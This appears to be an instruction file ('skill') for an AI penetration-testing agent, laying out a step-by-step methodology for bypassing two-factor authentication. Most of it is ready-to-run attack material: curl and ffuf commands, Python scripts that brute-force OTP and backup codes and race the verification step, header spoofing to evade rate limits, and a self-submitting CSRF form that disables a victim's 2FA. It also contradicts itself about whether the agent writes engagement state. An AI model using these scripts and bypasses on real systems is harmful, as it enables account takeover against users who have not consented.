2FA / MFA Bypass

You are helping a penetration tester bypass two-factor authentication. The
target application requires a second factor (SMS code, TOTP, email code, or
backup code) after password authentication. The goal is to access accounts
without providing a valid second factor. All testing is under explicit written
authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

• Print [2fa-bypass] Activated → <target> to the screen on activation.
• Evidence → save significant output to engagement/evidence/ with
  descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

Do NOT write to engagement/activity.md, engagement/findings.md, or
engagement state. The orchestrator maintains these files. Report all findings
in your return summary.

State Management

Call get_state_summary() from the state-reader MCP server to read current
engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Do NOT write engagement state. When your work is complete, report all
findings clearly in your return summary. The orchestrator parses your summary
and records state changes. Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Web Interaction

2FA bypass testing involves multi-step form progression — browser tools
handle the login → 2FA flow naturally.

• browser_fill / browser_click for login form → 2FA code entry
  progression (username/password first, then 2FA code field)
• browser_cookies for session state inspection between authentication
  stages (pre-2FA vs post-2FA cookies)
• browser_evaluate to inspect client-side validation logic (e.g.,
  document.querySelector('form').onsubmit to check for client-side OTP
  validation that can be bypassed)
• curl for response manipulation, direct navigation bypass attempts, and
  brute-force scripting

Prerequisites

• Valid credentials (username + password) for the target account
• The account has 2FA enabled (SMS, TOTP, email OTP, or backup codes)
• Burp Suite (to intercept and modify responses)
• Knowledge of the 2FA method and code format (4-digit, 6-digit, etc.)

Step 1: Assess

Identify the 2FA implementation details.

Map the 2FA Flow

1. Log in with valid credentials
2. Observe the 2FA prompt — what type of code is requested?
3. Note the endpoint: /verify-2fa, /mfa/verify, /otp/check
4. Submit a valid code and capture the request/response
5. Submit an invalid code and compare

Key Questions

• What is the code format? (4-digit, 6-digit, alphanumeric)
• Is there a rate limit on attempts?
• Does the code expire? How quickly?
• Can you request a new code? Does this invalidate the old one?
• Is there a "remember this device" option?
• Are backup codes available? What format?
• Are there alternative auth methods (OAuth, SSO, API)?

Step 2: Response Manipulation

Test if 2FA validation is only enforced client-side.

Status Code Change

Intercept the 2FA verification response in Burp:

# Failed 2FA response
HTTP/1.1 403 Forbidden
{"success": false, "error": "Invalid code"}

# Modify to:
HTTP/1.1 200 OK
{"success": true}

If the application redirects to the dashboard → 2FA is client-side only.

Response Body Manipulation

// Original (failed)
{"authenticated": false, "mfa_verified": false}

// Modified
{"authenticated": true, "mfa_verified": true}

Redirect Manipulation

# Failed response redirects back to 2FA page
HTTP/1.1 302 Found
Location: /2fa/verify?error=invalid

# Modify redirect to authenticated page
HTTP/1.1 302 Found
Location: /dashboard

OTP in Response

Check if the OTP appears in the response body, headers, or JavaScript:

# Check response for OTP hints
curl -s -X POST "https://TARGET/send-otp" \
  -H "Cookie: session=VALID_SESSION" \
  -d "method=sms" | grep -iE "otp|code|token|verify"

# Check JavaScript files for hardcoded codes
curl -s "https://TARGET/static/app.js" | grep -iE "otp|code.*=.*[0-9]"

Step 3: Direct Navigation Bypass

Skip the 2FA page entirely by navigating directly to authenticated pages.

Force Browse

After entering valid credentials (before completing 2FA):

# Try accessing authenticated endpoints directly
curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
  "https://TARGET/dashboard"
curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
  "https://TARGET/api/user/profile"
curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
  "https://TARGET/account/settings"

If any return authenticated content → 2FA is not enforced on that endpoint.

API Version Bypass

# Web enforces 2FA, but older API versions might not
curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
  "https://TARGET/api/v1/user/profile"
curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
  "https://TARGET/api/v2/user/profile"

# Mobile API endpoints
curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
  "https://TARGET/mobile/api/user/profile"

Subdomain Bypass

# Different subdomains may not enforce 2FA
curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
  "https://api.TARGET/user/profile"
curl -s -H "Cookie: session=POST_LOGIN_SESSION" \
  "https://old.TARGET/dashboard"

Step 4: Null/Empty Code Bypass

Submit null, empty, or special values as the OTP.

Null and Empty Values

# Empty code
curl -s -X POST -H "Cookie: session=SESSION" \
  -d "code=" "https://TARGET/verify-2fa"

# Null in JSON
curl -s -X POST -H "Cookie: session=SESSION" \
  -H "Content-Type: application/json" \
  -d '{"code": null}' "https://TARGET/verify-2fa"

# Zero
curl -s -X POST -H "Cookie: session=SESSION" \
  -d "code=000000" "https://TARGET/verify-2fa"

# Boolean true
curl -s -X POST -H "Cookie: session=SESSION" \
  -H "Content-Type: application/json" \
  -d '{"code": true}' "https://TARGET/verify-2fa"

Array Injection

{"code": ["000000", "111111", "222222", "333333"]}

Some backends iterate through the array and accept if any value matches.

Parameter Name Variation

# Try different parameter names
-d "otp=000000"
-d "one_time_code=000000"
-d "mfa_code=000000"
-d "verification_code=000000"
-d "token=000000"

Step 5: OTP Brute-Force

If the OTP is short and rate limiting is weak, brute-force it.

6-Digit Code (1,000,000 combinations)

import requests

url = "https://TARGET/verify-2fa"
cookies = {"session": "POST_LOGIN_SESSION"}

for code in range(1000000):
    r = requests.post(url, cookies=cookies,
                      data={"code": f"{code:06d}"})
    if r.status_code == 200 and "dashboard" in r.text:
        print(f"[+] Valid OTP: {code:06d}")
        break
    if code % 1000 == 0:
        print(f"[*] Tried {code}...")

4-Digit Code (10,000 combinations)

ffuf -u "https://TARGET/verify-2fa" \
  -X POST \
  -H "Cookie: session=POST_LOGIN_SESSION" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "code=FUZZ" \
  -w <(seq -w 0000 9999) \
  -mc 200,302 \
  -rate 50

Rate Limit Bypass Techniques

IP rotation via headers:

import random

headers = {
    "X-Forwarded-For": f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}"
}
# Also try: X-Originating-IP, X-Remote-IP, X-Client-IP, X-Real-IP

Session rotation (rate limit per session):

# If rate limit is tracked per session, not per user:
# Every N attempts, get a new session
if attempt % 20 == 0:
    # Logout
    requests.get(f"{base}/logout", cookies=cookies)
    # Re-login
    r = requests.post(f"{base}/login",
                      data={"user": username, "pass": password})
    cookies = r.cookies
    # Request new OTP
    requests.post(f"{base}/send-otp", cookies=cookies)

Code resend resets counter:

# Some apps reset the attempt counter when you request a new code
if attempt % 10 == 0:
    requests.post(f"{base}/resend-otp", cookies=cookies)
    # Counter reset — continue brute-force

HTTP/2 single-packet attack:

# Turbo Intruder — send many attempts in one TCP packet
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           engine=Engine.BURP2)
    for code in range(1000000):
        engine.queue(target.req, f"{code:06d}", gate='race1')
        if code % 100 == 99:
            engine.openGate('race1')
            engine.complete(timeout=10)

Step 6: Backup Code Attacks

Brute-Force Backup Codes

Backup codes are typically 8-digit numeric or short alphanumeric strings
with no rate limiting separate from OTP.

# 8-digit numeric backup codes
ffuf -u "https://TARGET/verify-backup" \
  -X POST \
  -H "Cookie: session=POST_LOGIN_SESSION" \
  -d "backup_code=FUZZ" \
  -w <(seq -w 00000000 99999999) \
  -mc 200,302 \
  -rate 100

Backup Code Reuse

# Use a valid backup code
curl -s -X POST -H "Cookie: session=SESSION" \
  -d "backup_code=12345678" "https://TARGET/verify-backup"
# Success

# Try the same code again — should be invalidated
curl -s -X POST -H "Cookie: session=SESSION" \
  -d "backup_code=12345678" "https://TARGET/verify-backup"
# If still accepted → codes are reusable

Backup Code Leakage

Check if backup codes are exposed:

• In the response body when 2FA is first enabled
• In account settings pages (visible to XSS)
• Via API endpoints without additional auth
• In email notifications

Step 7: Session and State Attacks

Session Fixation After 2FA

# Complete 2FA with attacker's account, capture session cookie
# Force victim to use attacker's post-2FA session

# Or: if session token is set before 2FA and not rotated after:
# 1. Intercept victim's pre-2FA session
# 2. Complete 2FA on attacker's account with that session
# 3. Session now has 2FA-verified status for attacker's auth

Remember Me / Trusted Device Token

# Capture the "remember this device" cookie/token
# Check if it's predictable, reusable, or transferable

# Check cookie attributes
curl -sI "https://TARGET/verify-2fa" \
  -H "Cookie: session=SESSION" \
  -d "code=123456&remember=true" | grep -i "set-cookie"

# Try using the device cookie without 2FA
curl -s -H "Cookie: session=SESSION; device_token=STOLEN_TOKEN" \
  "https://TARGET/dashboard"

Sessions Not Invalidated on 2FA Enable

# Scenario: attacker has stolen a session cookie (pre-2FA setup)
# Victim enables 2FA on their account
# Test: does the old session still work?

curl -s -H "Cookie: session=OLD_STOLEN_SESSION" \
  "https://TARGET/dashboard"
# If 200 OK → old sessions survive 2FA enablement

Step 8: Alternative Authentication Paths

Password Reset Bypasses 2FA

# Reset password via email
# After setting new password, does login require 2FA?
# Some apps disable 2FA after password reset

# Route to password-reset-poisoning if reset flow is exploitable

OAuth/SSO Bypass

# Direct login requires 2FA, but OAuth login may not
# Try: "Login with Google" → access account without 2FA prompt

# ROPC grant (Resource Owner Password Credentials) bypasses 2FA entirely
curl -s -X POST "https://IDP/token" \
  -d "grant_type=password&username=USER&password=PASS&client_id=APP"
# If token returned → 2FA bypassed

# Route to oauth-attacks for OAuth-specific bypasses

CSRF on 2FA Disable

# Check if the disable endpoint has CSRF protection
curl -s -X POST -H "Cookie: session=VICTIM_SESSION" \
  "https://TARGET/account/2fa/disable"
# If no CSRF token required → attacker can disable victim's 2FA

Build a CSRF PoC to disable 2FA:

<form method="POST" action="https://TARGET/account/2fa/disable">
  <input type="hidden" name="confirm" value="true" />
</form>
<script>document.forms[0].submit();</script>

Route to csrf for CSRF-specific techniques if a token is present.

Step 9: Race Conditions

TOCTOU in 2FA Verification

Send multiple verification requests simultaneously — the server may
validate the code before incrementing the failure counter:

import threading
import requests

url = "https://TARGET/verify-2fa"
cookies = {"session": "POST_LOGIN_SESSION"}
results = []

def try_code(code):
    r = requests.post(url, cookies=cookies, data={"code": f"{code:06d}"})
    if "dashboard" in r.text or r.status_code == 302:
        results.append(code)

# Send 100 attempts simultaneously
threads = []
for code in range(100):
    t = threading.Thread(target=try_code, args=(code,))
    threads.append(t)
for t in threads: t.start()
for t in threads: t.join()

if results:
    print(f"[+] Valid code found: {results}")

Email Change + Verification Race

If the app sends a 2FA code to the user's email:

1. Trigger 2FA code send (goes to victim's email)
2. Simultaneously change account email to attacker's
3. Race condition: code may be sent to attacker's new email instead

Step 10: Escalate or Pivot

After bypassing 2FA:

• Full account access achieved: Document the bypass chain. Explore
  account for sensitive data, admin functions, API keys.
• Response manipulation worked: This indicates client-side-only
  validation — likely affects other security checks too.
• Brute-force succeeded: Document the rate limit weakness. Route to
  race-condition for a more general race condition assessment.
• OAuth bypass confirmed: Route to oauth-attacks for deeper
  OAuth exploitation (scope escalation, token theft).
• Password reset disables 2FA: Route to password-reset-poisoning
  to chain reset token theft with 2FA bypass.
• CSRF disables 2FA: Route to csrf to build a reliable PoC for
  disabling 2FA cross-site.
• Session issues found: Document session fixation or persistence.
  Route to idor if session tokens are predictable.

Update engagement/state.md with any new credentials, access, vulns, or pivot
paths discovered.

When routing, pass along: confirmed bypass technique, 2FA method, affected
endpoint, and impact assessment.

Stall Detection

If you have spent 5 or more tool-calling rounds on the same failure with
no meaningful progress — same error, no new information, no change in output
— stop.

What counts as progress:

• Trying a variant or alternative documented in this skill
• Adjusting syntax, flags, or parameters per the Troubleshooting section
• Gaining new diagnostic information (different error, partial success)

What does NOT count as progress:

• Writing custom exploit code not provided in this skill
• Inventing workarounds using techniques from other domains
• Retrying the same command with trivially different input
• Compiling or transferring tools not mentioned in this skill

If you find yourself writing code that isn't in this skill, you have left
methodology. That is a stall.

Do not loop. Work through failures systematically:

1. Try each variant or alternative once
2. Check the Troubleshooting section for known fixes
3. If nothing works after 5 rounds, you are stalled

When stalled, return to the orchestrator immediately with:

• What was attempted (commands, variants, alternatives tried)
• What failed and why (error messages, empty responses, timeouts)
• Assessment: blocked (permanent — config, patched, missing prereq) or
  retry-later (may work with different context, creds, or access)

When stalled: Tell the user you're stalled, present what was tried, and
recommend the next best path. Return findings to the orchestrator — it will
decide whether to revisit with new context or route elsewhere.

OPSEC Notes

• Response manipulation is invisible server-side (only modifies what the
  client receives)
• Direct navigation attempts may be logged as unauthorized access attempts
• OTP brute-force generates many failed attempts — triggers account lockout
  on most modern applications
• Rate limit bypass via header manipulation may be detectable by WAF
• CSRF on 2FA disable requires victim interaction
• OAuth ROPC attempts are logged at the token endpoint

Troubleshooting

Rate Limiting Blocks Brute-Force Immediately

• Try IP rotation headers (X-Forwarded-For, X-Client-IP)
• Rotate sessions (logout → re-login → new session)
• Request new code (may reset attempt counter)
• Try HTTP/2 multiplexing (Turbo Intruder)
• Slow down to 1 request/second
• Try different endpoints (/api/v1/ vs /api/v2/)

Account Locks After Failed Attempts

• Check if lockout is temporary (wait for reset window)
• Check if lockout is per-session vs per-account
• Try a different 2FA method (backup codes vs SMS vs TOTP)
• Focus on non-brute-force techniques (response manipulation,
  direct navigation, OAuth bypass)

Response Manipulation Doesn't Work

• Server-side validation is correct — this defense is working
• Focus on: brute-force with rate limit bypass, session attacks,
  OAuth bypass, password reset chain, CSRF on 2FA disable

No Alternative Auth Methods Available

• Check for OAuth/SSO login buttons (even hidden ones in source)
• Check for mobile API endpoints
• Check for older API versions
• Check if password reset disables 2FA
• Focus on OTP brute-force with rate limit bypass

TOTP (Authenticator App) Can't Be Brute-Forced in Time

• TOTP codes change every 30 seconds — brute-force is impractical
  unless the server accepts a wide time window
• Check if the server accepts multiple time steps (±1 or ±2)
• Focus on: response manipulation, direct navigation, session attacks,
  backup code brute-force (static codes)
• Check if TOTP secret is exposed (account export, backup, API)